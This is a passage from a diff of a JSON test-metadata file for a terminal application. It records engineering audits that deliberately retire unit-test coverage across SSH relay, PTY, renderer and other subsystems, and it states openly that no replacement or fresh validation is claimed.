       "invariant": "High-volume terminal output must stay bounded across daemon socket writes, SSH relay writer/decoder/source retention/reconnect, main model and projection admission, runtime metadata, detectors, and tail checks, main-to-renderer in-flight bytes, renderer scheduler queues, and hidden-output restore without starving focused input. Every new SSH session offers V1 and every same-build relay supports it; legacy delivery is reachable only when capability negotiation proves the peer cannot use V1. Negotiated SSH spans remain exact and contiguous through activation, exit, cancellation, recovery, desktop projection, and required remote replacement; provisional activation data cannot project, reconnect may release it only into the exact attempt's private recovery quarantine after contract validation, and exit seals that quarantine against later same-token frames until ordered admission or exact cancellation proof. Reconnect checkpoint capture freezes exact provider-generation/PTy admission, cancels queued old work, and waits for the running raw completion before exposing its accepted checkpoint; timeout or failure detaches only that PTy's old model, makes the checkpoint unavailable, and releases the bounded fence without closing the shared provider, while the same failure outside an active exact migration remains generation-fatal and overlapping reconnects preserve any earlier outstanding fence. Pending renderer projection IDs are capped and compacted across split remainders, exit preparation owns its renderer fence through finalization, exit-time cancellation transfers published projections before proof commit, generation close fences late proof while draining exact projection waiters, closed-generation identity compacts without weakening stale rejection, canceled source-delivery retirement retains at most one ordered token per PTY, and pause/resume targets only the exact provider generation. Additional subscribers cannot stall the owner, while the required legacy primary retains backpressure.",
-      "oracle": "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Module layout SSH policy: Retire the multiplexer private-clock saturation registration, the writer saturation transition-count registration and the changed-source dated writer/backpressure receipt. Retained byte delivery, lane order, fairness, settlement and cancellation cases are unvalidated by that historical receipt. No equivalent replacement, new execution, measured performance, live SSH/WSL or cross-platform proof is claimed. The unchanged WSL protocol receipt retains only its original command scope. Historical prior account (preserved verbatim): Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2070 (sources2068/2069): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/hooks-and-hosted-review.spec'). src/main/ssh/ssh-multiplexer-transport-writer.test.ts: reports saturated epochs and their drain boundary exactly once. src/main/runtime/orca-runtime-tests/worktree-removal-archive-hook-gate.spec.ts: removes and records the waiver when the failure is explicitly overridden; removes without an override record when the hook succeeds; removes when the hook is configured but not requested; removes when no archive hook is configured; holds a desktop removal in the same repo until this one is accepted; joins a desktop removal of the same worktree accepted while this one waited. src/main/runtime/orca-runtime-tests/worktree-ps-agent-row-dismissal.spec.ts: drops the row as soon as the user dismisses it, without waiting for the PTY to exit; tells paired clients to republish on the transition and on the dismissal; rejoins a row through its %s handle after pane ownership clears. src/main/runtime/orca-runtime-tests/hooks-and-hosted-review.spec.ts: reports an error when the SSH filesystem provider is unavailable; reports an SSH orca.yaml as an error without reading any filesystem; reports ok for a local repo hook check; reads SSH issue commands as absent and drops writes without touching any filesystem; allows host integration slug helpers for SSH repos through provider-aware GitHub clients; routes runtime GitHub repo identity helpers through the selected WSL project runtime; routes runtime GitHub issue and work-item actions through the selected WSL project runtime; pins explicit origin preference on runtime open-by-number work item lookups; forwards check-details cancellation without local Git overrides. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. The historical receipt/currentCommand selecting src/main/ssh/ssh-multiplexer-transport-writer.test.ts remains historical and is not a passing result for the reduced current command. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete tail-wait memo suite: its sole current authored callback checks supplied fromTail/blocked field values. Retire all three broader memoization/equivalence/eviction assertion aliases; they are not backed by retained source callbacks. No scan-work budget, sustained output, physical terminal or resource measurement is assigned to this removed test. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1674 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The current executable slice injects main-process renderer backlog pressure, then asserts ordinary terminal-wait detection without a joined-tail allocation and with full prompt-family continuity, per-PTY and total pending-output caps, a 1,024-ID projection cap with split-remainder compaction, preserved sequenced-tail metadata, active-pending protection ahead of background trimming, exact provider-generation pause ownership, renderer exit/data ordering, and ACK-gated in-flight bounds. The negotiation seam proves every initial connection and reconnect offers V1, the same-build relay advertises V1 without launch flags, old clients remain token-free, and method-not-found peers fall back without installing source ACK publication. The joined source-intake/multiplex oracle blocks renderer or headless serialization, admits one snapshot-covered span and one trailing span, requires replacement reservation only after the authoritative sequence is known, advances upstream ACK eligibility exactly to the covered boundary after SnapshotEnd, and delivers then ACKs the trailing span through the ordinary live path without cancellation. Source-range ledger and multiplex seams additionally require cumulative byte ACK 40 then 100 for one 100-byte frame to release exact byte credit without early source settlement, admit a contiguous higher-generation recovered token while the prior token remains unsettled, and reject stale stream or source generations without releasing in-flight byte credit. Replacement reservation rolls back every earlier span on a later failure, commit requires the exact frozen transfer states, and an authoritatively reclaimed covered span rejects commit without local trim authority while rollback removes the reservation idempotently. The exit-deadline oracle publishes a source-backed desktop projection, advances a fake clock to cancellation, and requires one projection transfer, proof commit, preparation, and final exit with no provider close, retained obligation, duplicate finalization, or process-lifetime cancellation tombstone; a second controlled proof remains pending across generation close and must never publish final exit, while both paths release the renderer preparation lease exactly once. The model-migration oracle accepts span A, blocks span B's raw emulator completion, begins disconnect migration, and proves no checkpoint or reconnect attach can remain at A; releasing B advances the exact checkpoint to B and projects B once. Its fake-clock arm reaches the 10-second deadline, requires checkpoint-unavailable, one exact model reset, zero retained admission charge and timers, and no effect from late raw settlement. Its two-PTY failure arm rejects one running raw callback under an active exact migration and requires one checkpoint-unavailable result, one model reset, zero provider closes, retained sibling checkpoint and transport liveness, zero charges and timers, and an unaffected other generation; a non-migrating sibling oracle still requires generation close. The intake additionally closes 2,048 sequential provider generations into one exact range, rejects stale events across that range, and preserves an out-of-order live gap until its own close. Direct-SSH contracts additionally prove activation-response settlement before the first source frame, claim-gated projection under same-decoder-turn response/data delivery, exact early-ACK reservation through send settlement or same-token retry, recovery completion visible before lease-held frames transfers those frames only into the private quarantine and admits no output until exact checkpoint-to-recoveryEnd coverage, invalid-checkpoint restore retention through response settlement followed by fresh-token retry and one live source frame, isolated saturated-subscriber eviction with healthy owner liveness, preserved legacy-primary backpressure, one-write ownership across write(false)/drain, control selection ahead of queued ordinary PTY input with FIFO lanes and bounded fairness, liveness rebasing, failed-exit retention through late ACK or exact recovery, response-settlement cancellation authority, token-scoped exit cancellation, exact checkpoint-to-recoveryEnd continuity, stale-owner one-shot retry, no physical PTY teardown on recovery failure, exact provider-generation closure and once-only cleanup when recovery cancellation publication or proof rejects, 16 MiB-plus-1 MiB decoder caps, charged per-PTY/session retention budgets, and eight-wide isolated reattach. The live Electron perf oracle adds hidden-output floods, renderer scheduler queue depth, dropped-output-zero normal scenarios, and active key latency budgets before promotion.",
+      "oracle": "Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; 